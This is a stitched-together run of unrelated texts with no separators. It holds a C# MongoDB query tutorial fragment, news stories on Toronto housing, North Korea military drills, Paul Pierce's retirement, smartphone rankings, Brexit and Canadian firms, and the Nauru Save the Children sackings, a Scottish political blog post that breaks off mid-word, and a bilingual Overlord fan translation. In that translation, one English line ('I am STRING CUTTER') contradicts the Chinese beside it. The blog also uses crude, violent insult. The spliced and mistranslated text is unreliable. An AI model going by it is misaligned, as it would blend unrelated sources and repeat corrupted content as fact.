... using MongoDB.Driver.Linq;... public IMongoQueryable TravelItems { get { return _database.GetCollection ("WikiVoyage").AsQueryable (); } }
How to find things to do in a specific city
Let’s assume we want to find the interesting things to do in a city. We either show all the items in the city, ordered by the type of action, or just select a specific action (e.g. buy, do, eat, drink etc.).
public async Task > GetTravelItems(string cityName, string action) { try { if (action!= null) return await _context.TravelItems.Where(p => p.City == cityName && p.Action == action).ToListAsync(); return await _context.TravelItems.Where(p => p.City == cityName).OrderBy(p => p.Action).ToListAsync(); } catch (Exception ex) { // log or manage the exception throw ex; } }
This method will be called by a GET function. Assuming that we want to search after interesting things to do in Paris (http://localhost:61612/api/travelquery/Paris?doAction=do) we get interesting results, and one of them is the next:
Running faster the queries
One way to improve the speed of the queries is to apply an index. Searching within the collection after City and Action would recommend to add a simple index with these two fields.
Executing the JavaScript file with mongo shell, will add an index on City, and then Action.
db = db.getSiblingDB('TravelDb'); db.WikiVoyage.createIndex( { City: 1, Action: 1 } );
The speed of retrieval will increase from an average of 0.150 ms to about 0.001 ms.
Group items
What if we would like to see only headlines? What types of actions are available for a specific city, without getting into details?
A sample query, grouping by City and Action fields would be:
await _context.TravelItems.GroupBy(grp => new { grp.City, grp.Action }).Select(g => new { g.Key.City, g.Key.Action }).ToListAsync();
To continue
I would create a second part of this article, adding pagination support as well as aggregation enhancements brought by newer MongoDB versions, taking into consideration also the second dataset. Perhaps you knew these, maybe you learned a few things. Would you like to see something more covered?Real estate agents are bracing for even greater tension in the housing market this fall, as buyers joust for houses in the Greater Toronto Area and listings have shrivelled.
Toronto already seems to be drawing the attention of more foreign buyers after the Government of British Columbia introduced a 15-per-cent tax on real estate purchases by foreign buyers in the Vancouver area. The new policy was announced on July 25 and came into effect Aug. 2.
Jimmy Molloy, an agent with Chestnut Park Real Estate Ltd. in Toronto, says buyers from overseas were already increasingly looking to buy in Toronto as Vancouver prices skyrocketed. He expects that trend to continue.
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"We are, without question, going to see a movement here."
He says the tax has only intensified the shift already under way. The short window between announcing the tax and implementing it caused many buyers with deals already in the works to feel a significant squeeze, he says. And while Vancouver is still a very desirable location, he adds, Toronto now looks even more attractive.
"All of a sudden, it's worth that extra four hours on Air Canada."
Mr. Molloy has already encountered foreign buyers who are extremely nervous about the possibility of Ontario implementing a similar tax, though the provincial government has stated it has no plans to do so. Still, during some of his own deals with Asian buyers, the purchaser has asked for a quick close for that reason.
Meanwhile, Toronto real estate agents wish they had more properties available to sell. Mr. Molloy says the listings shortage seems more severe than ever before.
"I have a ton of people who want to sell their house and the next question is, 'Where am I going to go?'"
Sohail Mansoor of Royal LePage Signature Realty is also frustrated by the paucity of listings. He notes that, according to the latest numbers from the Toronto Real Estate Board, active listings in the GTA plummeted 38 per cent in August from the same month last year.
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"That's creating havoc in the market."
The arrival of September always brings a swell of listings as people return from summer vacation and the new school year starts, but it's too soon to tell if the rebound will be as strong this year as in previous years, he says.
"Even a little drop in the bucket feels like a big change."
Meanwhile, buyer frustration remains high. Sales in August jumped 23.5 per cent in the GTA from August, 2015, while the average price rose 17.7 per cent in the same period. TREB director of market analysis Jason Mercer also stated the organization will be putting an increased focus on research into foreign-buyer activity and issues affecting the supply of properties.
While the "fear of missing out" has quickly dimished in the Vancouver market, real estate pundits there report, Mr. Mansoor says some of his Toronto clients still feel an urgency to get into the market before they're priced out completely. Others are becoming more flexible about the idea of commuting to work in Toronto from a more affordable area farther out of the city.
One couple, for example, were looking in the Beaches neighbourhood for houses around the $900,000 mark and abruptly decided to launch a search in Oakville.
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"It's competitive in Oakville, but not nearly as competitive as the Beaches," he says. "It's a very, very competitive price bracket."
Many people who are cautious about price but unwilling to give up on their desired neighbourhood are more willing to consider a condo these days, he says.
But he adds that determined prospective buyers are hoping that listings will spike now that September is well under way.
"There's this optimism that the fall market will bring something new."
As for increased competition from foreign buyers, Mr. Mansoor hasn't seen it yet amongst his buyers but he does expect Toronto will feel the effect.
"I think it will affect the luxury market more, but it will have a trickle-down effect on all segments."
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Mr. Mansoor points out that sellers have to be cautious, however, because buyers are very knowledgeable about current market values. Listing a house or condo at too high a price will still deter buyers.
"If a property is overpriced, it will still sit," he says. "There are some properties that shouldn't be selling for the prices they're obtaining, but they're the exception."
Shawn Lackie, an agent with Coldwell Banker R.M.R. Real Estate, points to a house that had just been renovated and flipped in the Oshawa area. The buyer purchased the house earlier this year for about $550,000, fixed it up and listed it again for more than $800,000. When it didn't sell, he tried a variety of prices and strategies until it finally sold for about $765,000 after four months.
"That took seemingly forever," Mr. Lackie says. "He started too high."
In another instance, a bungalow in Scarborough was owned by an elderly seller who had 30 cats. The house was completely cleared out, but it was in poor shape and the odour of cat urine was overpowering, he says. That seemingly didn't deter the 38 buyers who decided to make an offer.
The house, listed with an asking price of $574,000, sold for $801,000. Mr. Lackie estimates it needs at least $100,000 of work to make it livable.
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Meanwhile, as pressure increases in Toronto, bidding wars have moved even farther out in the 905 area code to towns such as Cobourg and Port Hope, he says.
"It just makes your head spin."The U.S. military on Monday flew a pair of B-1B bombers and F-35 fighter jets in bombing drills with South Korea over the Korean peninsula, in a show of force against North Korea, South Korea's Defense Ministry said.
The bombers flew from Guam and the fighters flew from Japan, joined by six South Korean fighter jets in the drill, a South Korean defense ministry official said.
U.S. Ambassador to the United Nations Nikki Haley said on Sunday the UN Security Council has run out of options on containing North Korea's nuclear program and the United States may have to turn the matter over to the Pentagon.
"We have pretty much exhausted all the things that we can do at the Security Council at this point," Haley told CNN's "State of the Union," adding that she was perfectly happy to hand the North Korea problem over to Defense Secretary James Mattis.
Meanwhile, China and Russia began naval drills near North Korea on Monday amid continuing tensions over the isolated state's nuclear ambitions and ahead of a United Nations General Assembly meeting this week, where North Korea is likely to loom large.
North Korea launched a missile over Japan last Friday, its second in the past three weeks, and conducted its sixth and by far most powerful nuclear test on September 3, in defiance of international pressure.
>> Trump’s clash with North Korea: Good for Putin, bad for Netanyahu <<
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The official Xinhua news agency said the joint exercises will take place between Peter the Great Bay, just outside of the Russian far eastern port of Vladivostok, not far from the Russia-North Korea border, and into the southern part of the Sea of Okhotsk, to the north of Japan.
The drills are the second part of China-Russian naval exercises this year, the first part of which took place in the Baltic in July. The report did not directly link the drills to current tensions over North Korea.
Both China and Russia have repeatedly called for a peaceful solution and talks to resolve the issue.
The international community must remain united and enforce sanctions against North Korea after its repeated launch of ballistic missiles, Japanese Prime Minister Shinzo Abe said in an editorial published in the New York Times on Sunday.
Such tests are in violation of UN Security Council resolutions and show that North Korea can now target the United States or Europe, Abe said.
Diplomacy and dialogue will not work with North Korea and concerted pressure by the entire international community is essential to tackle the threats posed by North Korea, Abe wrote.
A week ago, the 15-member UN Security Council unanimously adopted its ninth sanctions resolution since 2006 over North Korea's nuclear and ballistic missile programs.
On Monday, the official China Daily said sanctions should be given time to bite but that the door must be left open to talks.
"With its Friday missile launch, Pyongyang wanted to give the impression that sanctions will not work. Some people have fallen for that and immediately echoed the suggestion, pointing to the failure of past sanctions to achieve their purpose," it said in an editorial.
"But that past sanctions did not work does not mean they will not. It is too early to claim failure because the latest sanctions have hardly begun to take effect. Giving the sanctions time to bite is the best way to make Pyongyang reconsider."
U.S. Ambassador to the United Nations Nikki Haley said on Sunday the UN Security Council has run out of options on containing North Korea's nuclear program and the United States may have to turn the matter over to the Pentagon.
China has urged the United States to refrain from making threats to North Korea. Asked about President Donald Trump's warning last month that the North Korean threat to the United States will be met with "fire and fury," Haley said, "It was not an empty threat."
Pyongyang has launched dozens of missiles as it accelerates a weapons program designed to provide the ability to target the United States with a powerful, nuclear-tipped missile.
North Korea said on Saturday it aimed to reach an "equilibrium" of military force with the United States.As a smiling Paul Pierce walked off the NBA hardwood for the last time, he said farewell to the fans by making peace signs with his raised hands while they chanted, “The Truth” and “We Love You, Paul.”
The future Hall of Famer completed his NBA career by scoring six points in 22 minutes for the Los Angeles Clippers during a season-ending 104-91 loss to the Utah Jazz in Game 7 of their first-round playoff series Sunday.
Pierce was the 2008 NBA Finals MVP after joining Kevin Garnett and Ray Allen in leading the storied Boston Celtics to their first title in 22 years. The 10-time All-Star is 15th all-time on the NBA career scoring list with 26,397 points.
Not bad for the 10th pick in the 1998 NBA draft who wasn’t the best at anything but did everything very well.
“It was going to be the last time that I hear the roar of the crowd,” Pierce told The Undefeated. “Well, maybe not the last time. There will be the 10-year anniversary [NBA championship] team [reunion]. As a player, it was awesome just being able to appreciate the crowd night in and night out.
“The cheers. The boos. The player camaraderie. That’s the stuff I’m going to miss most.”
Before Pierce’s swan song with the Clippers, his career included stops with the Brooklyn Nets and the Washington Wizards. But in five years, when he enters the Naismith Memorial Basketball Hall of Fame, there is no question the star small forward nicknamed “The Captain” and “The Truth” in Boston will go in as a member of his beloved Celtics.
Only John Havlicek scored more points for the Celtics than the 24,021 points that Pierce scored from 1998 to 2013. Pierce’s All-Star appearances were in a Boston uniform. Even after fellow All-Stars Garnett and Allen joined forces with him in 2007, Pierce was still the face of the Celtics as they won the franchise’s first championship since 1986. The Celtics have 21 retired jerseys. Expect the 22nd to be Pierce’s No. 34. The New England Patriots fan is proud of the impact he made doing charity work in Boston.
“In 15 years in Boston I was able to leave a lot of great memories on the court,” Pierce said. “I think a lot of people will remember Paul Pierce as embodying what Celtic pride was all about. I wore the jersey each and every day with pride and respect for the organization. I not only gave them everything on the court, but I think they will also remember what I was able to do through my foundation. I was able to inspire a lot of kids in the community who didn’t have a lot of the same opportunities as some other kids.
“When you walk into [TD Garden] that first day and you see all those banners and you see all those [retired] legends’ [jerseys], it is a constant reminder each and every day that is what you play for. And to finally win that was like gratification and a weight off your shoulders. I was a franchise player who played for ‘the franchise’ for so many years.”
Pierce was also one of the most competitive, confident, cool and cocky characters to ever play in the NBA.
He had no problems talking trash regularly to superstar Kobe Bryant. The 6-foot-7, 235-pounder thought he was casket sharp when he confidently wore a loud, Steve Harvey-like suit to a Celtics home game that had a large “P2” patch stitched on it for “P-Squared.” In his prime, there was a stretch where Pierce was the only NBA player who would regularly go toe to toe triumphantly against LeBron James. Hoping to help a Celtics video attendant impress a girl he was fond of, Pierce told him he could stretch him out on the floor before a game in Boston to wow her. That’s the truth about “The Truth.”
And who could forget an injured Pierce leaving Game 1 of the 2008 NBA Finals in a wheelchair and then eventually returning to play?
Pierce was a Dennis Eckersley-type closer in his prime who made the big shot or a series of shots to shut down a game in pressure situations.
“Paul Pierce just means the world to me,” said Clippers coach Doc Rivers, who also coached Pierce in Boston. “I love him. He allowed me to coach him without question. We won a world championship together. He means the world to me. He is one of the great ones. He is one of the great winners. One of the more clutch players. Paul is about as clutch as any player that I’ve ever been around.”
Said Garnett to The Players’ Tribune: “I thought I was over the top until I saw him. And then I was like, ‘OK, this is what a beast is.’ ”
Pierce grew up about 10 miles away from Staples Center in Inglewood, California, where Magic Johnson and the Los Angeles Lakers used to dazzle and win titles in The Forum. The 1995 McDonald’s All American and Mr. California basketball starred at Inglewood High School before going on to Kansas, where his jersey was retired. While it certainly would have been sweeter for Pierce to end his career in Boston, he came back home to retire while playing for his beloved Rivers.
Pierce announced this would be his last season on Sept. 26. Even on the morning of his last game, he kept the same routine with his pregame workout and food. His wife, Julie; two daughters, Prianna and Adrian; and son, Prince, were there, as well as several family members and friends. Pierce’s elderly mother, Lorraine Hosey, watched her son’s final game from home in Los Angeles.
“I didn’t have a lot of people here, mostly just my wife and kids,” Pierce said. “My mom is 74 years old, and she sits on her couch and watches. I had some close friends, relatives and cousins. We’ll probably go do something tonight.”
After the buzzer sounded on the Clippers’ season and Pierce’s career, he hung around on the court for a while as several members of the Jazz offered respect, embraced him and said goodbye. The last person Pierce hugged before he left the court was, poetically, Rivers. Once in the locker room, Pierce said a warm goodbye to coaches, teammates, ball boys and even several media members. While Pierce held news conferences on numerous podiums in private rooms after playoff games, his last media scrum was in front of a table with chicken parmesan, grilled chicken and salmon and sautéed vegetables behind him.
Pierce was at peace with retiring.
“I allowed myself to be,” Pierce told The Undefeated. “You know it’s going to end one day. I just felt like this is the right time. My body and mind, having that still intact. My kids and family. In some capacity, I will be a part of the game. Maybe front office. TV. I still love this game, talking about it and being around it.”
Clippers athletic trainer Jasen Powell made sure to take one last look at Pierce’s body before letting him leave the arena. Pierce plans to spend more time with his family and his AAU boys’ basketball program. He has expressed interest in joining an NBA front office one day and has experience giving NBA analysis on ESPN. But there are no immediate retirement plans.
Wearing sunglasses, a pink dress shirt, a black pinstriped suit and white Air Force 1 Nikes, he departed by himself with a bag of basketball gear hanging over his shoulder.
“Signing off. Bags packed,” Pierce said as he walked to his car.While the Samsung Galaxy S III (global) was gunning for the #1 spot in both the Mobile Tech Expert's Chart and the People's Choice Chart, it didn't launch quite early enough to overtake the HTC One X in both charts. For the month of June, the Samsung Galaxy S III (global) topped the People's Choice Chart and the HTC One X took first in the Mobile Tech Expert's Chart in the PhoneDog Media's Official Smartphone Rankings™.
MT. PLEASANT, SC - PhoneDog Media is proud to announce the monthly winners for June 2012 in our Official Smartphone Rankings™ http://www.phonedog.com/rankings. The program, now four-months-old, allows both readers and experts to vote for and rank their favorite smartphones in the market.
The Samsung Galaxy S III (global) garnered 397 more votes than the HTC One X for the month of June, making it the #1 smartphone in the People's Choice Chart. However, in the Mobile Tech Expert's Chart, the HTC One X held its #1 position for June with 173 total points, beating the Apple iPhone 4S by 23 points and the Samsung Galaxy S III (global) by 59 points.
The HTC One X outpaced the HTC EVO 4G LTE by 552 votes, making it the #2 smartphone in the People's Choice Chart for the month of June. With the HTC EVO 4G LTE the #3 choice for the month, the Nokia Lumia 900 fell to the #4 position, trailing by only 18 votes. In the Mobile Tech Expert's Chart, the Apple iPhone 4S held its spot in #2 for the month of June with 150 points, but the HTC One S slipped from the #3 spot as the Samsung Galaxy S III (global) replaced it with 114 total points for the month.
“The summer smartphone battle continues to be between the HTC One X and Samsung Galaxy S III,” said Aaron Baker, Editor-in-Chief of PhoneDog.
Weekly results at http://www.phonedog.com/rankings
.
About PhoneDog Media’s Official Smartphone Rankings™ - The Official Smartphone Rankings™ can be accessed from PhoneDog.com or directly at http://www.phonedog.com/rankings. Voting can be completed using login credentials from Facebook, Twitter, or the PhoneDog website.Do not expect the Brexit to trigger a Canuck-xit.
That’s the message Canadian companies with substantial investments in the United Kingdom were sending after the “Leave” victory in Thursday’s referendum, with most indicating they had no immediate plans to alter their U.K. operations.
Canada’s largest bank by market capitalization, Royal Bank of Canada, says it is monitoring the situation closely, but reaffirmed that it would not be abandoning the region.
“It is still too early to comment on what our strategy would be in a changed environment, but the U.K. and Europe are strategically important to RBC and we are committed to the region,” the bank said in an emailed statement.
The bank said it is looking at various scenarios as part of its internal stress testing and analysis of its risk exposure. Meanwhile, it’s business as usual, the bank says. “We are confident that we will be able to continue supporting our clients whatever the outcome of the negotiations.”
Only three per cent of RBC’s total revenue has come from Europe since the beginning of 2015. Scotia Capital Inc. analyst Sumit Malhotra has observed that Royal has reduced its participation in market making for some European products since the continental debt crisis in 2010-11. RBC’s trading revenue tends to be more sensitive to global trends than that of its Canadian peers, Malhotra writes.
Royal Bank’s shares (RY/TSX) were down -$2.48 to close at $77.21 on Friday.
Brookfield Asset Management Inc., which holds nearly 10 million square feet of commercial real estate in London financial districts, said the company remains committed to Great Britain.
“As long term investors we remain committed to London and the U.K., and are confident that the U.K. will continue to attract international capital and be one of the leading business centres in the world,” said Bruce Flatt, Brookfield’s chief executive.
London is home to most of Brookfield’s real estate investments in the current EU. The company has 22 office properties in London’s eastern Canary Wharf district and one property in a central district called the City. On the continent, Brookfield owns about 2.36 million square feet of commercial real estate in Berlin’s Potsdamer Platz, a district of the city capital that was rebuilt after German reunification in 1989.
Brookfield’s shares (BAM-A/TSX) closed at $42.92, down $1.05.
A separate, publicly traded company called Brookfield Infrastructure Partners holds investments in a portfolio of energy, utilities and transportation assets. A report by RBC Dominion Securities Inc. estimates that about 20 per cent of Brookfield Infrastructure’s pre-corporate funds from operations comes from the U.K., while 10 per cent comes from continental Europe, mostly France.
“Outside of foreign exchange rate exposure, we do not expect these businesses to be materially impacted by Brexit,” wrote RBC analyst Robert Kwan.
Brookfield Infrastructure’s units (BIP-U/TSX) were down $1.09 to close at $55.91
Bombardier Inc., a plane and train manufacturer with operations in both the U.K. and continental Europe, said it remains committed to its operations in Great Britain, Reuters reported.
We do not expect these businesses to be materially impacted by Brexit
“As always, we are committed to our businesses, all our employees and our customers in the U.K., and we will continue to work with the government and other industry stakeholders to create the necessary business environment to ensure our future success,” said the company.
Bombardier makes aircraft wings, fuselages and other parts, including wings for its new CSeries jet, at a plant in Belfast, Northern Ireland. It also has a plant in Derby, England, where it is making train cars for Crossrail, a £14.8-billion project that will create a new railway between London’s Heathrow Airport and stations in central London and the east.
Bombardier’s shares (BBD-B/TSX) closed at $1.95, down 3 cents.
Financial Post
dhasselback@nationalpost.com
twitter.com/vonhasselbachAn independent report says the sacked workers are entitled to compensation after being dismissed on ‘no evidence or reliable information’
Save the Children workers summarily sacked on Nauru must be compensated by the Australian government, which dismissed them on “no evidence or reliable information” an independent report has found.
Save the Children staff say Moss review exposes negligence on Nauru Read more
The damaging report by the former chief executive of the high court Christopher Doogan, found Save the Children workers were fired under political pressure from Canberra as a “circuit breaker” to quell protests on the island.
On 3 October 2014, as asylum seekers on Nauru continued to protest against their detention and the Australian government’s asylum policies, a Daily Telegraph story quoted a leaked internal intelligence briefing that reportedly claimed Save the Children staff had fabricated stories of abuse of asylum seekers and encouraged self-harm to “achieve evacuations to Australia”. The story quoted the then immigration minister, Scott Morrison, saying police were investigating Save the Children workers who had misused privileged information.
Morrison also told a press conference that same morning the workers were being removed because they were alleged to have organised protests.
The story, and the allegations, were found to be untrue: the subsequent Moss Review found “no conclusive evidence” that Save the Children staff encouraged protests or self-harm. Morrison refused to apologise.
The Doogan report found that the intelligence report raised concerns about some Save the Children staff and counselled further investigation, but warned there was no firm evidence. However, this was manipulated by senior executives under pressure from Canberra into a directive to remove the staff from the island immediately.
“It seems reasonably clear that the information provided in relation to the 10 Save the Children staff members was not intended to be acted upon in the way it was acted upon. Rather, it seems that the intention was that further investigation would be undertaken before any action was taken.”
There was no further investigation and the targeted staff were not given any opportunity to respond to the allegations. The sackings were politically motivated, Doogan found.
It was, Doogan found, “apparent that contractor staff on Nauru were being pushed to provide names and information to support what was perceived in Canberra to be Save the Children staff providing inappropriate support or assistance to transferees in various way. As will become clear from the following outline, there was in fact no evidence nor reliable information on which to specifically name nine of the 10 Save the Children staff.”
(One named Save the Children staff member resigned before the removal directive was made.)
Tash Blucher, one of the sacked Save the Children workers, said there was little new in the heavily redacted report, beyond a very clear acknowledgement that there was no basis for the decision to sack her and her coworkers.
Rapes and fears for safety on Nauru uncovered by independent Moss review Read more
“It’s so redacted we can’t even work out who the decision makers were or how the decision making occurred,” she told Guardian Australia.
Blucher said the report was vindicating, but “at the same time all the major negative impacts remain”.
“Our reputations were publicly slurred. There still hasn’t been an apology and the other really distressing thing was having to leave our clients behind, and being really concerned about their wellbeing and what happened to them,” she said.
“That concern remains because – more than one year later – they are still in detention, they’re still on Nauru. Now there’s no not-for-profit organisation there to represent them or seek to improve wellbeing outcomes for them.”
Blucher said she and her sacked co-workers were victims of mismanaged decision making, but said while staff suffered, the consequences of the mismanagement on Nauru was far more harmful for those held in detention.
Lawyers for Blucher and her former co-workers continue to talk with the department.
“I’m happy that our lawyers will continue to work with the department for an outcome, but for us it’s really hard to talk about the issue of compensation because we’re all really keenly aware that the harm being done to us is tiny compared to people who have been detained there.”
The chief executive of Save the Children, Paul Ronalds, welcomed the Doogan report, said he was proud of the work Save the Children staff had performed on Nauru, working “with some of the most vulnerable children in the toughest of circumstances”.
“The idea that they would fabricate cases of abuse or encourage children to hurt themselves was always absurd. We have said this right from the very beginning. These were some of our most talented and hardest working colleagues, and children and their families on Nauru were the poorer for their absence.”
He said negotiations with the government should see appropriate compensation awarded to the sacked staff.
Ronalds again called for the Australian government to end the practice of mandatory and prolonged detention of children.
Leaked transcripts from Moss review reveal Nauru at risk of 'dramatic meltdown' Read more
“We know from two years working on Nauru about the shocking impact that prolonged incarceration has on people seeking asylum. It is unquestionably harmful to their mental and physical wellbeing and must end.”
The immigration minister did not respond to requests for comments.
Greens senator Sarah Hanson-Young, a consistent critic of offshore detention, and who was spied upon by security guards when she visited Nauru, said the island’s detention regime was run “with a shameless combination of secrecy and intimidation”.
She said the sacked workers deserve to be fully compensated.
“After accusing hard-working employees of coaching self-harm and dragging their names through the mud, we now find out that they had done nothing wrong,” she said. “They are innocent people who were sacked while they worked to protect the children in their care.”
Doogan’s report followed a familiar pattern of damning reports being quietly released at awkward times to avoid media and public scrutiny. The Doogan report was released late on Friday evening.
The earlier Moss review was also released on a Friday, a couple of hours after former Prime Minister Malcolm Fraser died, having been in the government’s possession for several months.The SNP triumphed in 2015 by outflanking Labour to the left. The Labour Party under Jeremy Corbyn is now coming back by outflanking the SNP to the left. This was not hard as the SNP tends to talk left but not act it. Kezia Dugdale has resigned because she is unhappy with tacking to the left; indeed as a third rate machine politician she has never given any indication of philosophical conviction at all.
A large number of those voters returning to support Scottish Labour from the SNP have not abandoned their support for Independence, and having a significant Indy supporting section of its voter base is something which ultimately Labour will have to come to terms with. The shift of the left to support the SNP had left Scottish Labour as this strange rump of beached Blairites and Brownites, to the extent that even the (tiny number of) ordinary members were not supporters of Corbyn. That too will change. I have no doubt that Corbyn’s opposition to Independence was tactical and caused by the need to placate this Scottish Labour establishment. I can foresee Labour moving to become much more Independence friendly over the next few years – its Orangemen have already largely shifted to the Tories.
A number of people have suggested to me that I am myself moving towards joining Labour. The answer to which is, not until the last member of the GMB is led by the ears down Sauchiehall St with a Trident missile shoved up their arse. That is not as facetious as it sounds. For me the GMB characterises everything that is wrong with the entire founding principles of the Labour Party. If somebody announced a new WMD had been developed which only kills babies less than 10 months old, the GMB would say that was great, providing their members could build it. Before anybody argues, remember their members already build WMD which would inevitably incinerate millions of babies.
There is much concentration on Labour’s appalling Blairite MPs, and I could certainly never vote for a large majority of their people at Westminster. Until Corbyn manages a real purge there is no way I would even think of voting Labour. But people forget it has historically been the trades unions who have defeated all previous attempts to use the Labour Party to advance a left wing agenda, and who even now enforce support of Trident and of nuclear power. Middle class intellectuals tend to have a misty-eyed view of dignified, auto-didactic workers. I have seen too much of the world (and of the racist, xenophobic and significantly working class English Brexit voters) to harbour such fantasy, and too much contempt for political correctness to pretend that I do. It is extraordinary how many people feel the unions should be above criticism because they represent the working class. Increased union workplace power is now essential to help rebalance the economy; but they should not be fetishized.
That is more space about Labour than it currently deserves.
Meantime it is foolish to deny there is something of a crisis of confidence in the Independence movement.
Every three months or so, for almost the past three years, I have published that I am yet to hear one single post-referendum statement or speech by a senior SNP figure explaining the advantages of Independence. Well, I still haven’t. Having conclusively proven in a dismal Westminster campaign that not mentioning the benefits of Independence is a seat loser, the SNP is resolutely continuing not to mention the benefits of Independence.
There has however been a change. Before the Westminster election, the SNP would not talk about Independence but would talk about the tactics of achieving Independence, principally referendum timing. Now they have a new tactic of never mentioning Independence at all. Instead they concentrate exclusively on good governance within the Union.
Personally I have no interest at all in pretending that the glorified regional council at the bottom of Holyrood Road is a national parliament, when it is not even consulted on whether the nation goes to war, cannot stop forced deportations of valued residents from local communities, and cannot prevent extradition of citizens to face English courts (I am myself up in the English High Court on a libel charge soon). We do not really have a Scottish parliament or a Scottish government. We have a glorified council.
But there are many in the SNP who appear pretty well satisfied with the status quo, given a few extra powers handed down when we leave the EU. Brexit is being forced upon Scotland demonstrably against the will of the nation. It is an economically suicidal policy and yet the SNP appears meekly to be now discussing its implementation, rather than reaching for the national sovereignty that would prevent it.
That we are forced out of the EU against our will is the ultimate proof that the near useless institution in Holyrood is not a Parliament.
There |
and the Sorcerer King. That made Neia feel a little excited. 虽然明白我们这个词指的是圣王国与魔导王，但也能将其理解为涅娅与魔导王。这让涅娅不禁有些心动。 Eventually, someone knocked on the carriage door from the outside. 终于马车的门扉被从外面敲响了。 “Your Majesty, we have prepared a room for you.” 「魔导王陛下，房间已经为您准备好了」 Neia opened the door. 涅娅首先将门打开来。 When the paladin outside saw the bow Neia was holding, his eyes went wide in surprise. 站在门扉前的一个圣骑士在看到涅娅所持的弓的瞬间，惊愕的他睁大了眼睛。 This was the first time she had brought the bow she had received from the Sorcerer King outside the carriage. That was because the Sorcerer King had not left his carriage ever since he had lent her the bow. Therefore, nobody else had seen it until now. 从魔导王处得到的弓一次都没有拿到马车之外过。那是因为自借到弓之来，魔导王就没有外出的缘故。结果，到此为止都没有让任何人见到过。...You must be surprised, huh? Mm. I understand how you feel. This isn’t a weapon you’d let a squire carry... （……很吃惊吧。嗯。那种感觉、我也很明白。这绝不是会让侍从所持有的武器吧……） While the paladin bathed her in his gaze, Neia turned to face the carriage and bowed. 涅娅将沐浴在视线之中的身体转向马车，低下头来。 Though she was simply looking at his feet, after seeing that the Sorcerer King had stepped onto the ground, Neia raised her head and asked the paladin: 仅仅看着脚的附近，在确认到魔导王站到地面上之后抬起头的涅娅向圣骑士询问道。 “Sorry, but we need to speak with Captain Remedios, so can you lead us to her? His Majesty says he will be going as well.” 「抱歉、因为有话想要与卡斯特迪奥团长说能否带个路？陛下也说要一起去」 “Ah, ah, yes. Understood. Then, please follow me.” 「啊、啊、好的。遵命。那么请跟我来」 The paladin -- followed by the Sorcerer King, and then Neia -- entered the cave. 按照圣骑士、魔导王、涅娅的顺序进入了洞窟中。 The bluish-white illumination from the mushrooms, which were half the height of a man, were very creepy. Where the mushrooms were particularly prolific, monstrous shadows danced on the walls between the mushrooms. In addition, the bluish-white light of the mushrooms made her look like a corpse, but mysteriously enough, she did not mind it now. 由半人高的蘑菇所发出的青白色光芒相当诡异。特别是在蘑菇很多的地方、蘑菇之间相互在墙壁上映出怪物般的影子。并且肌肤被映照出青白色，虽然会让人觉得简直就像是死人一般，但不可思议的现在并不会觉得讨厌。 As they walked through the cave, they would see paladins standing watch from time to time, as well as commoners and priests. 只要在洞窟中行走，时不时的、就会看到正在做警备工作的圣骑士、以及平民和神官的身姿。 They should have heard all about him from the Captain and the others who had gone ahead of them, but they still could not help gawking at the Sorcerer King. 应该已经从先进入洞窟的团长等人听说过了吧，但他们依然无法完全掩饰投向魔导王的惊愕视线。 It’s kind of rude, though... （虽然很失礼……） The Sorcerer King would not get angry, right? He was a very kind ruler. However, the kinder people were, the more frightening they tended to be when they did get angry. 魔导王绝对不会生气的吧。这位王者非常的温厚。但是、越是这样的人发怒时就越为的恐怖。 Should she tell them to stop their rudeness to avoid such an event? However, she could not go and tell each and every one of them in person, and it was not a problem that could be resolved by words alone anyway. After all, to the citizens of the Holy Kingdom -- to all of the living -- the undead were fundamentally the enemy. 为了不发生这种事，是不是应该叫他们不要这么失礼呢。但又不可能一个人一个人的去说，也不是说了就可以解决的问题。因为对于圣王国的人民来说，还有对于生者来说，不死者始终都是敌人。 I’ll tell the Captain about this later… well, it’s good that they haven’t drawn their weapons. （有关这件事晚点跟团长报告好了……嘛、没有拔出武器来已经算是不错了吧） Suddenly, Neia sensed that the Sorcerer King had produced a piece of paper, and that he was looking at the letters written on it. Although Neia was interested in what was written there, she could not see the letters owing to the way it was concealed within his hand. 突然、涅娅察觉到走在前面的魔导王取出一张小纸片，并看起了那上面的文字。虽然涅娅对那上面写着什么抱有兴趣，但由于是藏在手中一般的拿法，所以无法看到上面所写的文字。 Finally, they were brought to a room that was partitioned off by a hanging curtain, and the sounds of a noisy exchange of opinions came from inside. 终于被带到了一个挂着垂布、能从内侧能够听到有吵杂的交换各种意见的声音。 “Captain Remedios. The Sorcerer King and Squire Baraja have arrived.” 「卡斯特迪奥团长。魔导王陛下与侍从巴拉哈来访」 The interior fell silent. 室内一下变得沈静了。 The paper in the Sorcerer King’s hand had vanished to parts unknown. 那时魔导王手中的纸片也不知消失到了何处。 “Let him in.” 「让他们进来」 After hearing the Captain’s voice, the paladin pulled away the curtain. 听到团长的声音，圣骑士将布帘卷了起来。 The paladins and the priests who rose to welcome the Sorcerer King -- who had not been part of the delegation -- had a complex blend of emotions in their eyes. Even Neia could sense this. Naturally, the Sorcerer King must have felt it too. However, there was no way to tell how he had reacted to it just by looking at his back. 站起身迎接魔导王的圣骑士和神官——没有参加使节团的人——他们的眼中蕴含着各种各样的感情。 就连涅娅也能感受到。当然、魔导王肯定也感受到了。但是、从他的背影上完全感觉不到任何感情的变化。 There’s no way His Majesty can’t feel the mood in the air… perhaps he simply doesn’t care about the petty fumblings of tiny men. Is this the bearing of a king? （那位大人不可能感受不到现场的气氛……说不定对于小人物的所作所为根本不会放在心上，才是所谓的王者气度吧） “Everyone, listen up. Before us stands His Majesty, the Sorcerer King Ainz Ooal Gown. Unable to ignore the plight of our nation, he has specially come here on his own to aid us. You will accord him all due respect!” 「各位、听好了。这位大人就是魔导王安兹·乌尔·恭陛下。这次因对我国遇到的困难无法置之不理而特意单身前来相助。万万不可失礼！」 After Remedios said so, everyone in the room bowed to the Sorcerer King. 随着蕾梅蒂欧丝的发言，在房间中所有的人都对魔导王低下了头。 Once everyone had raised their heads, the Sorcerer King spoke in a grand tone. 在大家都抬起头来之时，魔导王以堂堂之风开口了。 “DOMO HAJIMEMASHITE. I am STRING CUTTER. I have come to aid you, not on the behalf of my nation, but in a personal capacity. Therefore, while this might be a little sudden, I have noticed a few things on my way here, so I wish to seek your opinions on the matter. Please allow my follower to explain.” 「初次见面。我是安兹·乌尔·恭魔导王。这次并非作为国家、而是我个人想要帮助各位。于是、虽然很突然，由于来到此地而察觉了一些事请，所以想要询问各位是如何考虑的。就让随我来的侍从说明一下吧」 The Sorcerer King stepped aside, allowing Neia to walk past and in front of him. 魔导王稍微侧过身，让涅娅以从身旁走过的形式来到前面。 “Excuse me, everyone. Allow me to explain what His Majesty said earlier.” 